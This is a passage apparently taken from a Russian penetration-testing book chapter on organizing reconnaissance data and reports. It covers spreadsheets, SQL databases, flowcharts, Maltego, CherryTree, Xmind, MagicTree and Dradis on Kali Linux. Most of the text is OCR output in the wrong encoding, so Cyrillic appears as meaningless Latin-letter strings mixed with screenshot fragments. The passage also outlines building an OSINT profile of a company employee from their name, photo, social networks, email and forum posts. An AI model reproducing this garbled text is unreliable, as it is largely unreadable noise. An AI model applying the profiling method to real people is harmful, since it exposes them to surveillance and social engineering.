13 PAa3JINYHBIX UICTOYHUKOB U crucTeMatn3npoBaTh ux. Ho gaske mpum ero ncmosb3o-
BaHUH BaM Gy/IeT TPY/HO BBIYWJIECHUTH HEOOXOAMMYI0 nHbopMaiimo. Mano cobpaTh
nH(opMaInIo 13 pa3HbIX UCTOYHUKOB, HYKHO ellle ¥ TPaBUIbHO CTPYKTYPHUPOBATD
ee, 00paboTaTh U IPOAHAIN3UPOBATD.

[Ipearmomosknum, MbI 3HAEM TOJIBKO MM COTPY/HUKA 1 Ha3BaHMe mpeanpusitust. C yero
JKe HaM HadaTh? MBI MOKeM OCYIIeCTBUTH TIpocToil mouck B Google, ncmomnbsyst
TOJIBKO MM YeJIOBEKa, HO UTO OY/IeT, eCJI 9TO UMsI JOCTATOUHO PaCcIPOCTPaHEHHOE,
Hanpumep Cepreii? Mbl OJIy4lM O4€Hb MHOTO JAHHBIX, U3 KOTOPBIX OyAeT KpaiiHe
CJIOKHO TIOJIYUUTh MHTEPECYIONTYI0 Hac HHMopMaruio. /1Jis cy;KeHust morncka MOKHO
UCII0JIb30BaTh (hoTorpauio YesoBeKa, HallIeHHYIO Ha caiiTe KOMIAHUU. DTO MPU-
Be/IeT K ero MpoGnJiio B COMMATbHBIX ceTsx. [locie ananmmaa mocsieiHero Mbl y3HaeM
€TO0 ajipec 3JIEKTPOHHON TTOUTHI, TOPOJI, B KOTOPOM OH TIPOKUBAET, HAal/IeM eTo KOJI-
Jsier. Jlasee, y3HaB a/ipec 2JIeKTPOHHOU TTOUTHI, MBI OCYIIECTBUM ITOUCK 110 (hopyMam
u 6J10raM 1, BO3MOKHO, U3 IIOCTOB 9TOT0 YeJI0BEKA Y3HAEM O 1IeJIeBOil OpraHusalim
YTO-TO, UTO TIpeICTaBageT 17151 Hac untepec. Hekoropsie 'T-criernanuctsl, cKaskeM,
COBETYIOTCS C APYIMMU ydyacTHUKaMK (POPYMOB O BO3MOKHOM PelieHun npodaiem
¢ nH(pOPMAITMOHHBIMY CHCTEMAMHU, 32 KOTOPbIE OHM OTBEYAIOT. A Telepb IPe/ICTaBbTE,
YTO BbI IIBITAECTECH IPOAHATUZUPOBATD IPEANIPUITHE, I/ie paOOTAIOT THICSYU YETOBEK.

JlaHHbie, KOTOPbIE MBI TIOJyYaeM Ha KaXK/[OM 9TAlle MCCJAEe0BAHMS, CTAHOBSATCS OT-
MPAaBHOU TOYKOU JIJIST TOJIyYeHUsT HOBBIX JaHHBIX, HO YK€ U3 [PYTOro HCTOYHUKA.
N3yueHue e MPOBOAUTCS METOAUYHO, IIaT 32 MAarOM U MOXKET ToTpeboBaTh
GOJTBITIOTO KOJMYIECTBA BPEMEHH 1 pecypcoB. [109ToMy, Kak yike TOBOPIIOCE, TaHHbIe
HEeoOXOIMMO OPTaHN30BLIBATH U XPAHUTH B CTPYKTYPUPOBAHHOM BUJIE YIKE C CAMOTO
Havasa usydenus e, Torga Bam 6yeT yI00HO OTCIEKUBATE PA3TMYHbIE TTOTOKH
JIaHHBIX, JIOTOJIHATH UX U CBA3BIBATH MEKIY COOON. B IpoTUBHOM cirydae BbI MoTE-
psieTe BO3MOKHOCTD 0OPaOOTKY JIAHHBIX €CJIU HE B CaMOM Havasie paboThl, TO Yepes
HECKOJIBKO TITar0B TOYHO.

B kavectBe camMoro mpocToro npuMepa CTPYKTYPUPOBAHUS JTaHHBIX MOKHO IPU-
BECTH J[PEC IEKTPOHHON MOUTHI. VI3HAYAIBHO ajipec Oy/IeT TJIABHBIM 3JIEMEHTOM;
1ocJie TOrO KaK BbI MOJyYUTE UM YeJOBeKa, KOTOPOMY OH HPUHAJIEKUT, UM
CTaHeT JIOUEPHUM 3JieMeHTOM. M3 azfipeca MOKHO y3HATD IoMeH npeanpusatust. [lo-
CKOJIBKY B JIOMEHE MOKET OBITh HECKOJIBKO a[PecoB, TO OH, B CBOIO OUEPE/lb, CTAHET
POJUTENLCKUM 3JIEMEHTOM, & a/lpec IOYThl U UM CMECTSTCS Ha OZIHY HO3UIIMIO BHUS.
B TekcTOBOM BHjIE 9TO BBITJIAAUT CJACAYIONIM 00Pa3oM:

T3.com
admin@t3.com
Mike Doe
john@t3. com
John Smith
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CytiecTByeT MHOTO BO3MOKHOCTEN OPTAaHU3AINN U XPaHeHUsT MHMOPMAITNH, 1 JIydIiie
BCEro KOMOUHUPOBATH MX. YacTo /ISt TOHUMAHWSI TOCTPOEHUST CETH CAMBIM Y106~
HBIM U MTOHSITHBIM CIIOCOOOM SIBJISIETCSI TIOCTPOEHHE Pad)OB U CXeM ¢ MUHUMYMOM
TeXHUYECKON MH(OpMaIy; MHOTA, HAPUMED 71 HATIMCAHUS CKPUTITOB, JIydlIie
UCIIOTb30BATH MAHHbIE, XPAHSIINECS B 0a3ax MM TEKCTOBIX (hailrax.

Tabnuupbl

OJIHUM U3 CaMBIX TIPOCTHIX CMTOCOOOB OPTaHU3AIMHN JIAHHBIX SABJISIOTCS Tabmuibl. OHI
HCIIOJIB3YIOTCS ¢ HE3AMAMSATHBIX BPEMEH U SIBJSAIOTCSI MOIIIHBIM HHCTPYMEHTOM B Y-
KaX OIBITHOTO T0JIb30Baresist. arepdeiic nmpeacrasisier coboit Habop CTPOK 1 CTOJIO-
II0B, B KOTOPbIE OY€Hb yI0OHO BHOCUTH UMEHA MOJIb30BaTEIEH, AP0, KOHTAKTHBIE
JaHHBIE, TOJKHOCTH U T. . CTOUT YIOMSIHYTh U O BO3MOKHOCTH UMITOPTHPOBATh
MaHHbIE U3 PA3IUYHBIX HCTOYHUKOB, BKIIOYAs TEKCTOBBIE (hailirbr.

ITo ymomuanuio B Kali Linux mer uacrpyMmenTa Ayl yA00HOTO yIpaBIeHus Tab/ -
I[aMM, OJTHAKO OH IOCTYTIEH 13 O(PUIHNAIBHOTO PEIO3UTOPHUS. PeKOMEH/IYIO HCIIOJIb-
3oBaTh nporpammy Calc, kotopast BxoauT B coctas oducHoro nakera LibreOffice
(puc. 5.1). On ycraHaBIMBaeTCs I0BOJIBHO MTPOCTO:

$sudo atp install libreoffice
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Puc. 5.1. Nonb3oBaTensckmne AaHHble B TabMUHOM NpeacTaBieHn
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Jo6asum, uto Calc ymeer He ToJIbKO XpaHUTH JaHHble B Tabauie. Ha camom nese
3TO JIOCTATOYHO MHOTO(YHKIIMOHATbHBII WHCTPYMEHT, KOTOPBII TIO3BOJISIET TPUMe-
HATH pasindHbie GOPMYJIbl, (GDUIBTPOBATH AaHHbIE, IUCATh COOCTBEHHBIE MAKPOCHI,
CBSI3BIBATD JIAHHbBIE M3 PA3IMYHbBIX TaOJIHII, TIPEACTABILATh CBOAHYIO HH(MOPMAIIHIO.

ba3bl AaHHbIX SQL

SQL (Structured Query Language), sI3bIK CTPYKTYPHUPOBAHHbIX 3aIIPOCOB, OBLI CO3-
Al JUIA yTIpaBJieHust fanHbiMi. Bee mannbie, kak v B Calc, Xpansarest B TabanaHom
BUJIE, HO YK€ B CIIEIMATN3UPOBAHHON 6a3e qaHHbIX. Basbl ganubix SQL yno6HbI
[Tt XpaHEHU JIaHHbIX, CaM K€ S3BIK 3aIIPOCOB MO3BOJISAET UMU MAHUITYJIUPOBATH —
N0GABJISATD, YIAISITh, (GDUIBTPOBATE JAaHHbIE U T. 1. V3yuerne SQL 1m03BOIUT BaM
IYBCTBOBATH CeOST IOCTATOUHO YBEPEHHO TPH TPoBeaeHnn SQL-UHBeKIHA.

Ucnonbayst Calc, mpu 6oJbiom o6beMe TaHHBIX BbI MOJKETE CTOJIKHYTHCS ¢ HEOO-
XOZIMMOCTBIO XPAHWUTH MX B Pa3HbIX (haiisiax, a Takke ¢ TPYIHOCTAMU [pH 06paboTKe
9TUX JIaHHBIX, 0COOEHHO Korja Oy/ere BbIOMpaTh mapamerp i puabrpannu. Ha-
TIPIMep, Y HECKOJIBKUX COTPYAHIKOB MOTYT OBITH OTTHAKOBbIE IMEHA UITN (DAMUITIH,
OHW MOTYT UMETh OJIUH CIIysKeOHbIit HoMep Tesedona. [pu ncmonszosann SQL ata
1pobJieMa PeraeTcst J0CTaTOuHO JIETKO.

Jliist paboThl ¢ GasaMul JAHHBIX BbI MOJKETE BBIOPATD JIIOOYIO CHCTEMY YIPaBJIEHUS,
Gynb To MySQL (puc. 5.2), MariaDB uim Oracle, Beszie Oyzer ucnosbzoBatbest SQL.
O6paTuTe cBOE BHUMAMNe U HA TaK HazbiBaeMble 6a3bl JanHbIX NoSQL.

phpMyAdmin |-
osleloe (4 sStrueture [ SOL 4 Search (i Query L} Export
Curtenl senver:
i dormo - MySi v | Fiters |
Recent Favorites ; Containing the word. |
L e m——
(= .
3 Anneien ~ Table . Action Rows 43 Type  Collation
:I'. | information_schema [0 CHARACTER_SETS W [Corowse [MiStuclure g Search  ~0 @ View
[ reets o ene trtrn | % [] CHECK_CONSTRAINTS fy ||Browse [ Stuclure ¢ Search  ~@ g View —
L [ COLLATIONS # [[Browse [ Structire & Search o @ View
.1 Now [0 COLLATION_CHARACTER_SET_APPLICABILITY ¢y | |Browse e Stucture ¢ Search -8 4 View  —
:f&“:::fﬁ“-mm O coLumns dr [ Bowse [4Shucture & Search  ~0 @ View —
—}: TioHs [0 COLUMN_PRIVILEGES ¥ | |Browse ¢ Stuctie g Search 9 4 View —
Il COLLATION_CHARACTE! [0 COLUMN_STATISTICS fr [ Browse [J4Structure & Search  ~8 @ View  —
=t COLUMNS [ EMNGINES & ||Browse s Stuclure ¢ Search  ~0 g View
=t COLUMN_PRIVILEGES [ EVENTS fr [0 Browse [ Stuclure & Search -8 g View
I COLUMN_STATISTICS
—i-ENGINE:- O FLEs Y o JBrowse o Stucle g Search -0 g View  —
—}-:EVENTS [] INNODB_BUFFER_FAGE ¢ [ClBrowse [ Stuclwe & Search =8 @ View  —
I FILES [] INNGDE_BUFFER_PAGE_LRU ¢ ] Bowse s Stuclue g Search  ~o gy View  —
[t INNODB_BUFFER PAGE | 1 \unopg BUFFER_POOL_STATS fy [Browse [4Stuctlure & Search  ~0 G View
(4t INNODB_BUFFER_PAGE
_f i _BI.FFER:POOL [0 INNODB_CACHED_INDEXES ¢ [Browse s Stuctwe . Search ~8 g View
—_J!:INW)S:C&CFED_INDE: O INNODB_CMP ¥r ([ Browse [bf Stucture g Search -0 @ View
4 INNODB_CMP [0 mNODB_CMPMEM 5 Browse e Stuctwe & Search -0 g View  —
[FH: INNODB_ CWPWEM [] INNODE_CMPMEM_RESET fr C)Browse [ Stucture g Search -0 @ View  —

Puc. 5.2. MonynsipHbii1 MHCTPYMEHT aAMUHUCTPUPOBAHUSI CUCTEM yrpaB/ieHus
6a3amu aaHHbIX phpMyAdmin
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EQWHCTBEHHBIM 3aMETHBIM HEIOCTATKOM TaKOTO CIOCO0a XpaHEHUs JaHHBIX sIBJIsI-
eTcs TO, TO JIUIS HayaJia ero UCIoJIb30BaHKs HEOOXOAUM JIOCTATOYHO OOJIBINON 00b-
eM 3HaHUi. Be3 npeBapuTebHOrO U3yueHust CTpyKTyp 6as manubsix u SQL Bam He
y/IacTCs UCTOB30BaTh 3TOT MeTo/T 3 pekTnBHO. CTOUT OTMETUTD, YTO CYIIECTBYET
MHOKECTBO BU3YaJIbHBIX KOHCTPYKTOPOB, O3BOJIAIONIUX B KOPOTKUE CPOKHU CO3-
JIaTh He TOJIBKO Oa3y JaHHbBIX, HO U MPUSTHBINA rpadudeckuii untepdeiic k Heil. st
HAYMHAIOMNX TT0JIh30BaTEIeH 3TO MOKET MOCTYKUTh XOPOITNM TIO/ICTIOPhEM [IJIst
ocBoeHuUst 3TOit TeMbl. Bol Besib yike yeranosuin LiberOffice na npomnuiom miare, He
Tak JU? ITOT MAKeT COAEPKUT UHCTPYMEHT 110/l Ha3BaHueM Base, MO3BOJISIONNI
OBICTPO CO31aBaTh GA3bI JAHHBIX, (POPMBI U 3AIIPOCHI.

Cxembl

Ecom Calc u SQL mo3BoJISII0T XpaHUTh 1 00pabaThIBATh TaHHBIE, /IS KX BU3YaJIbHOTO
MPE/ICTABIICHUS MBI PEKOMEH]LYeM UCII0Ib30BaTh 610K-cxeMbl. Vcmonb3oBanue 6J10K-
CXEM TI03BOJISIET B YAI0OHOM BU/IE IPE/ICTABISATH CBSA3H MEK/LY PasJINUHbIMU JAHHbI-
MU, ONTUCBIBATH TIPOTIECCHI, TTPOUCXOJISAIINE B OPTAHU3AIINH UM B MTH(MOPMAITHOHHOM
CHCTEME, U JIa’Ke OPTaHU30BBIBATE CBOTO JIATTBHEHTITYIO PAabOTY.

TepmuHaTop (Hayano 1nu 3aBepLueHye npoLecca)

Mpouecc, 06paboTKa AaHHbIX (BbINCIEHNE, EPECHIKA AaHHbIX, COXPAHEHWE U T. f.)

[aHHble (onepauum BBOAa/BbIBOAA)

MpuHATYE pelweHus (BeTBNeHNsA, Habop)

MoAroToBKa (3agaHue, U3MeHeHe NapameTpoB LKa)

CoeauHuTenb

Ykaszatenb Hanpasnennsa
3

>

Puc. 5.3. OnucaHne 0CHOBHbIX 3/1IEMEHTOB 6/10K-CXEMbl
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Ha pwuc. 5.3 mpeacTaBieHo omucanne OCHOBHBIX 3JIEMEHTOB GJIOK-CXEMBI, Ha
puc. 5.4 — ympoiennas 6JI0K-CXeMa OJIHOTO 13 TPOIECCOB Ha TIPENPUSTHH.

1

l

6e3onacHoctn W3roToenexve
nonyyaet email nponycka
OT OTAENa KafpoB

Cnyx6a

[TpoBepka AaHbIx
0 COTPYAHUKE
B 6a3e flaHHbIX
npesnpuATUA

!

CotpyaHuK OTKNOHNTL
HanpeH? 3aABKY

[laHHble
OTNPaBAAOTCA
OTBETCTBEHHOMY
nnuy

Puc. 5.4. YnpolueHHas 6/10k-cxeMa npouecca Bblaauum Npornycka Ha Npeanpusitum

Maltego

Mbr yske paccMOTPEITH HCTIOB30BAHNE HTOTO HHCTPYMEHTA, OJTHAKO GYIIET HETUTITHIM
ele pa3 HAIOMHUTh PO Hero. Maltego — aTo MOIIHBIIT MHCTPYMEHT JIJIs BU3YaJIi3a-
I[MU U QaHAJIN3A IAHHBIX, UCIIOJIb3YEMBIil B CPeJie CIEIUATUCTOB 10 MHMDOPMAITMOHHOM
GesomacHocTr 1 passejke. OH MO3BOJIIET COOUPATD, AHATU3UPOBATH ¥ BU3YaJIU3U-
POBaATh /IaHHbIE N3 PA3JIUYHBIX NCTOUYHUKOB: COITMAJTbHDBIX CeTefI, 633 JITaHHDbIX, Be6-
caiitoB, DNS-cepBepoB, 2JIeKTPOHHOI TOUTHI U T. JI.
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Maltego npemocrasiisieT 0JIb30BaTEN0 yA0OHBIN Tpaduueckuii mHTEpdeEiic, KOTo-
PBIi TIO3BOJISIET BU3YaJIU3UPOBATh JlaHHble B BUjie rpada U yCTAaHABJIUBATH CBSI3H
MeKIY PasIMYHbIMU d/ieMeHTaMu nHpopManuu. Takoil moaxoz I03B0seT OICTPO
BBIABJISATH CKPBITBIE CBSA3K M Y3JIbI B OOJIBIIOM 00beMe JaHHbIX, YTO MOKET ObITh
OY€Hb TI0JIE3HO B PA3JINYHBIX 00JIACTSIX, BKJIOUast HH(MDOPMAITHOHHYO G€30MaCHOCTb,
KubeppasBe/Ky, Ou3HeC-aHa i3 U T. 1.

[MomynsiprocTs Maltego o6bsicHsIeTCST HECKOTBKUME (haKTOPAMH.

[ ] yHI/IBepCaJIbHOCTI). Maltego MOJKET MCITOJIb30BaTbCA B Pa3/IMYHbIX o0JacTax.

e IIpocrora ucrnonbzoBanusd. IHTYUTUBHO MOHATHBIN rpadudeckuii nnrepdeiic
nemaet Maltego TerkuM B HCTIOTb30BAHUN JTAXKe JIJIS TTOTb30BaTe el 6e3 crer-
aJIbHOU I10ATOTOBKU.

e Pacmmpsiemoctb. Maltego 1103BoJIsIET OB30BATEIO CO3/IABATH CBOM COOCTBEH-
HbIE [JIATUHbBI U UHTETPUPOBATH UX B CUCTEMY, TO €CTh HACTPAMBATh HHCTPYMEHT
MO/l KOHKPETHbIE MTOTPEGHOCTH.

e MHokecTBO AOCTYITHBIX NCTOYHUKOB TaHHDIX.

Takum ob6pasom, Maltego obagaer yHUKanbHBIM HAGOPOM (DYHKIMH U BO3MOIK-
HOCTEI, 4TO JIeJIaeT ero 0YeHb MOJIE3HBIM MHCTPYMEHTOM JIJISl Pa3IMYHbIX obsacTeli
JEATETHBHOCTH,

CherryTree

Bes comuenmst, HaMMIMe MPUITOKEHUS JITIST CO3/IAHMUST 3aMETOK SIBJISIETCS OTJIMIHBIM
nozcnopbeM B 110601 padore. Panpiie B Kali Linux ucrosipzoBaioch 3amMeyareibHOe
nporpammuoe obecriedernne KeepNote /71t co3faHust 3aMeTOK 1 paboThl ¢ HUMH,
HO OHO JIABHO HE MOJIEPKUBAETCSI, U Pa3pabOTUNKK OTKA3AJIUCh OT HETO B MOJIb3Y
CherryTree. CripaBeiuIMBOCTH PaJiil CTOUT OTMETUTD, YTO BBl U ceifuac MOKeTe
MHCTALTMPOoBaTh U ucnosb3osarh KeepNote B Kali Linux, oro 6yzer paGorars; HO
MBI COJTU/IAPHBI ¢ Pa3pabOTYMKAMU: €CJIN €CTh IOCTONHBIE AJIBTEPHATHBBI, TO JIyUIIle
MCTIOJTH30BATH MOJ/IEPKIBAEMBIE TTPOEKTHI.

CherryTree npezcrabiisier co00i ObICTPOE U UHTYUTUBHO MOHSITHOE TIPUTIOKEHIE
C OTKPBITBHIM HCXOIHBIM KOJIOM JIJISI CO3/IAaHUsI 3aMETOK B BHJIE IPEBOBUIHON CTPYK-
TYPBL. DTOT YHUBEPCATbHBIN U MOIIHBIA MHCTPYMEHT TIPEJJIaracT MIMPOKUN CIIEKTP
byHKImit: (hopMaTHpOBAHUE TEKCTA, MOACBETKA CUHTAKCHCa, 060paboTKa n3obpaxe-
HU1, TUTIEPCCHIIKU, UMITOPT U OKCIIOPT € TOIEPIKKON psizia hOPMATOB, TTOJ/IEPIKKA
HECKOJIBKUX S3BIKOB U T. 1. (pHc. 5.5).

Ocuosusbie pynkiun CherryTree:

e dopmarupoBaHue TEKCTA: I[BET, IBET (hOHA, MOTYKUPHBIH, KyPCUB, 3aTOJIOBKU
T I,;

® [I0/ICBETKA CUHTAKCHCA, IIOA/IePKKa HECKOJIbKUX A3BIKOB IIPOTPAMMUPOBAHUA;

e 006paboTka n300paKeHuii;
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pacuIipeHHBIN TTOUCK, TTO3BOJISIONTNIT HAXOAUTD (GailyIbl B iepeBe (aiioB He3a-
BHCHUMO OT MECTa WX PACTIOJIOKEHUS;

MOJI/IEPAKKA COUETAHUN KJIABUIIL, UMIIOPT U AKCIOPT 3aMETOK, CUHXPOHU3AIUS
¢ obaunpiMK cepBrcaMiu (TakuMH, kak Dropbox), moaaepskka mudpoBaHus
(aiinos;

paboTa ¢ TabMIaM1, UMIIOPT M 9KCIOPT JAHHBIX;

TUTIEPCCHLITKH;

nposepka opdorpaduu (¢ ucnosnpzosanuem pygtkspellcheck n pyenchant);
9KCIOPT BceX AaHHBIX uian onpeaenerroi nx vactu 8 HTML, TXT u PDF;

IIOMCK JTaHHbIX.

Yeranoska CherryTree:

$sudo apt install cherrytree

&

*CherryTres D.99.48

File Edit Insert Format Tools Tree Search View Bookmarks Help

L + =+ E-~| LR aEd TSR DRPAD
MyOrg 5 B MyOrg [ Domains [ acr.org
Registrant Contact Information:
Mame
Whoi:

cy (enumDiNG dba)
3, Banzelt 4 A

~Sur-syre

‘ostal Code
6921
Country
Ly
Fhone
+352.27720304
Email

Administrative Contact Information:

Whaois Pri
Adddr
BFM
City

Node Type: Plain Text - Date Created: 2023/03/20 -10:17 - Date

Puc. 5.5. NHTepdelic MHCTpyMeHTa Ans co3aaHus ApeBOBUAHbIX 3aMmeTok CherryTree

Xmind

[Tocsie paccMoTpenrs MHCTPYMEHTOB, TOMOTAIONINX OPraHU30BaTh HAIIN JTAaHHBIE,
1opa Mepexo/InTh Ha HOBBIM YPOBEHDb U 3aHATHCA Opranusaiueil nHGopMaImm u uzieil.
Jlist pertier st 9TON 3a1a4M yKe TOCTATOYHO AaBHO paspaboransl mind map, min
HHTEJJICKT-KapThL.
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WNuTennexT-kapra — 3TO BU3yaJbHbBIN MHCTPYMEHT JIJI5T OPTAHU3AINH U CTPYKTYPH-
posanus unhopmaruu. OHa mpeAcTaBsieT oGO AuarpaMmy, Ha KOTOPOH BOKPYT
IIEHTPAJIbHOM TeMbI pacIoJaraloTcsl OCHOBHbIE MJIeN U TIOHSITHS, CBSI3aHHbIE MEX/LY
co00il BETBSIMU U TIOJIBETBSIMIL.

WuTennekT-KapThl OOBIYHO UCTOTB3YIOTCS 7SI CO3[AHUST TIJIAHOB, OPTAaHU3AIINN
MIPOEKTOB, PelieHus MPobaeM, aHaIM3a U Taxke 3anmoMuHanus wadopmarmn. OHu
MO3BOJISTIOT BU3YaJU3UPOBATh U CTPYKTYPUPOBATH NHMDOPMAIINIO, TOMOTAsT TIOHH-
MAaTbh OTHOIIEHUS MEXY PA3JIUIHBIMU UAESMU 1 HOHSTUSIMU, & TAK)KE 3AIIOMUHATb
uHGbOPMAIHIO JTydlie 0J1aroapsi BUSyaJbHON acCOUAIMN C OIPEIeICHHBIMU TPa-
(brueckumu sreMeHTaAMU.

OnHUM M3 caMBIX M3BECTHBIX M 9 (PEKTUBHBIX UHCTPYMEHTOB [IJIsI CO3JaHMUs
uHTe/IeKT-KapT sBisgercsa Xmind. Murepdeiic Xmind (puc. 5.6) npegocrasiser
OrPOMHBIIT CIIUCOK MABJIOHOB U TEM, U3 KOTOPBIX MbI BBIGUPAEM Te, KOTOPbIE JIyuliie
COOTBETCTBYIOT HAINM MOTPeObHOCTSIM. ClIeaB BBIOOD, MOKHO HAYATD C PETAKTHPO-
BaHWsI MOJICH JIAHHBIX, MX U3MEHEHUsI WU T0OABICHSI HOBBIX.

Xmind mosBojsier BeTaBasATh NHMOPMALINIO B BHAE TEKCTa, U300pakeHUi, Map-
KepOoB, BJIOKEHMIL, ayJI03aMeTOK 1 T. . PazHooOpasue TUIIOB JaHHBIX [103BOJISIET
CO3/1aTh UHTEJLIEKT-KapTy, BU3YAJIU3UPYIONIYIO HAIN UIeN U X0/ MbIcaeid. Takue
KapThl CO3/1af0TCS 7151 YIIPABJIEHUS TTPOEKTaMM, TIJIAHUPOBAHUS, TIPUHATHS Pellie-
HUN U T. ]I

Ectb siBe Bepcuu Xmind — rumatnas u Gecrimatiast. XoTst OecIiiaTHAST BEPCUST U JIH-
1IeHa HeKOTOPBIX (DYHKITUI, OHA BCe PABHO OCTAETCA MOITHBIM 1 (DYHKIIMOHAIbHBIM
MHCTPYMEHTOM.

Cy11ecTBYIOT pa3jinyHble MOJEIN MHTEJJIEKT-KapT U METOAMKN, KOTOPbIE UCIIOJIb-
3YIOTCSI JIJISl AaHAJIN3A JIAHHBIX B PA3HbBIX 00JIACTSIX, — HEKOTOPbIE M3 HUX SIBJISTIOTCSI
YHUBEPCAJIbHBIMHU, 3 HEKOTOPbIE MMOJAXOSAT TOJBKO JIJI51 ONIPe/leJIeHHbIX OTpacJei.
Jlajiee paccMaTpUBaETCst OOTIHIL TOAXO/] K CO3[IAaHIIO TAKUX KapT, O[HAKO BBl MOJKETE
CIIOKOWHO €r0 U3MEHSTh B COOTBETCTBUN C KOHTEKCTOM MCITOTh30BAHMUSI:

® 1IeJib: PelnTe, Ha KAKOi BOIPOC HYKHO OTBETUTD;

® omnpeaejneHue HCTOYHUKOB: OIIPE/IC/IUTE U IIEPEYNUC/INTE NICTOYHUKU, N3 KOTOPbLIX
Bbl MOJKETE IIOJIYYUTD /ITaHHbIE, CBA3aHHbIE C 11€JIbIO;

L] CﬁOp: C60p JAHHBIX Pa3/IMYHbIMU METOJaM1 N3 BCEX BOSMOJKHBIX NCTOYHUKOB;
® OYMCTKa: Y6epI/ITe nus3 CO6paHHbIX JAaHHBIX BCE, YTO HE UMEECT OTHOMIECHU K ICITY;

® oOpraHd3anyd JaHHBIX: OYMIIEHHbIC JaHHbIE 1OJIKHDI OBITDH OpTraHM30BaHbl TAKUM
O6p3.30M, 4yTOOBI BBl JIETKO MOLJIN TOJIYUYUTDb K HUM /IOCTYII;

® Mo/ieJIMpOBaHNe TaHHBIX: MOJIETUPYHTE C UCITOTH30BAHNEM PA3JINIHBIX METO/IOB,
HalpuMep BU3yaau3alny, CTAaTUCTUYECKOrO aHAIN3a U T. [1.;

® QoMelleHHe B KOHTEKCT: TI0CJIe TOTO, KaK MbI BBITIOJTHUJIN aHAJU3 JIAHHBIX, HY>KHO
WHTEPIPETUPOBATH PE3YJIBTAT B COOTBETCTBUU C KOHTEKCTOM, a 3aTEM MPUHAThH
pelieHue o JaTbHENTNX AeHCTBUAX.
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Yeranoska Xmind Kali Linux:
e ckauaiite naker deb ¢ opdunumanbHoro caifta paspaborunka https://xmind.net;
e ycranoBuTte $sudo dpkg -i Xmind-for-linux-amd64bit-22.11.3656.deb

® 1I0CJI€ YCTaHOBKHU 3aIlyCTUTE U3 MEHIO.

Untitled - oo r +~ =

Central Topic

Main Topic 3

Topc | (2 | 100 Aliner

Puc. 5.6. NHTepdelic Xmind

MagicTree

MagicTree — HHCTPYMEHT, CO3/ITaHHBIN TTPENMYTIECTBEHHO /17151 CIIEI[UATMCTOB 110 WH-
dhopmarmornoit Gezomactocti. Ero ocHOBHOI 3a1aueil SIBJIsieTcsT pelieHe IpoGIeMbl
OpraHU3aIMHU JAHHDIX, [T0JIy4YEeHHBIX U3 Pa3HbIX MICTOYHMKOB. 3/1€Ch 110/l ICTOYHUKOM
MBI TIOHMMAEeM He CTOJIBKO J0OBITYIO ¢ caliTa MPeATPUSITHS UIN COIMATBHOM ceTn
nH(opMaImio, CKOJIbKO JaHHbIE, KOTOPbIE MBI ITOJIy4aeM € UCIIOJIb30BAHUEM TaKUX
yTUANT, Kak nmap, dig, nikto, nessus u T. 1.

Mbr1 He GyeM TOAPOOHO OCTAaHABJIUBATHCS HA TOM MHCTPYMEHTE BBUJLY TOTO, 4TO
OH y’Ke MHOTO JIET HE MOJIEPKUBAETCS Pa3paboTUMKaMU U YIAJEH U3 PEMO3UTOPUEB
Kali Linux. Onnaxo panbiie mo (hyHKIIMOHATBHOCTH ¥ YI0OCTBY OH TIPEBOCXOUI
Dradis — caeayronuit HHCTPYMEHT, KOTOPBIH MbI Oy/IeM pacCMaTPUBATD.

Ckauarp MagicTree MOKHO ¢ 0OpUIIMATBHOTO caliTa pa3paboTunKOB https://www.
gremwell.com/what_is_magictree. 3aryckaeTcst OH U3 KOHCOJIU CJIEIYIONIel KOMaH/[OM:

$java -jar /home/itsecbook/Downloads/MagicTre-build1814.jar



166 FnaBa 05 e OTyeThl

Dradis

Dradis — aT0 MHCTPYMEHT C OTKPBITBIM MCXOAHBIM KO/IOM [IJId COBMECTHOT pa6OTI>I
Ha/l TPOEKTaMHU, YIIPpaBJICHUA HH(I)OPMaHHeﬁ O TECTUPOBaHMM Ha IIPOHUKHOBEHNE
n CO3JaHUA OTYETOB.

Ocuosunbie pynkiun Dradis:

® coBMecTHas pa0d0Ta: OH MO3BOJISAET YWIEHAM KOMAHBI paboTaTh BMECTE HAJl TIPO-
ekTaMu B 006s1acT MH(MOPMAITHOHHON 6E30MaCHOCTH, 0OMEHUBATLCS 3AMETKAMH,
pe3yJibTaTaMy CKaHUPOBAaHUS, KCIJIONTaMU, BU3yasnsaliveil ceteil u T. 11.;

® UHTErpanus ¢ HHCTPYMEHTaMH CKaHUpPOBaHus: oH pabortaer ¢ Nessus, Qualys,
Burp Suite u 1. 1., 4TO TTO3BOJISIET UMTIOPTUPOBATDH PE3YJIBTATHI CKAHMPOBAHUS
U 9KCIIOPTUPOBATH UX B IPYTUE UHCTPYMEHTBI;

® ympaBiieHHe NPOEKTaMu: ¢ TOMOIIbI0 Dradis MOKHO cO3/[aBaTh TPOEKTHI, Ha3HA-
9aTh 33/1a41 U OTCJIEKUBATD IPOTPECC, a TaKKe YIIPaBJIATh Beell nHbopMaImet,
CBSI3aHHOM C TIPOEKTOM;

® CoO31aHue OTYETOB: Dradis 3HaunTenbHo yupouraeT co3ganmne OT4€eToB O TeCTU-
POBaHMU Ha ITPOHUKHOBEHNE, KOTOPbIC MOKHO JIETKO HACTPOUTD 11O HYIK/bI
3aKa34MKa;

e pusyaimsanus cereil: Dradis moMoraeT cosaBaTh BU3YyalU3aIliio0 CETEH U TO-
MOJIOTHH, YTO YJIyUIIaeT IIOHUMaHNe CTPYKTYPBI IET€BON ceTh 1 00JierdaeT Bbi-
SIBJIEHUE YSI3BBUMOCTEH;

® HCHOJb30BaHUE IUIATUHOB: OH 00J1a1aeT BOSMOKHOCTBIO MOAKIIOUEHIS MHO-
JKEeCTBA IUIATHHOB U MHTErPAIUiA, KOTOPbIE PACITUPAIOT (PYHKITMOHAIBHOCTD
MHCTPYMEHTA 1 TIO3BOJISTIOT JIETKO B3aUMO/IEMCTBOBATD C IPYTUMU CUCTEMaMU.

ITo ymosuanuio Dradis ve ycranosien B Kali Linux, ogHako Haxogurcs B oduIm-
AJTbHBIX PENO3UTOPHUsIX. /I €ro 3arpy3Ku BBITIOJTHUTE KOMAHILY:

$sudo apt install dradis

[Tocsie ycraHoBKHM 3aITyCTHTE CEPBUC KOMAH/[0M:

$sudo dradis

ITocJie 3amrycka porpaMMa BbIIIOJIHUT HEOOXOAUMbIE ACHCTBUS, U BbI CMOJKETE TIPH-
CTYNUTH K HAYaJIbHON HACTPOWKE 3TOTO MHCTPYMEHTA, JIJIsI 3TOTO B BallieM Gpaysepe
BBe/IUTE caemytomuii aapec: http://127.0.0.1:3000.

[Tocse cozmanus mapoJis BbI cMosKeTe 3aiiTu B cucteMy. [Ipu BXozie BaM mpeyioskaT
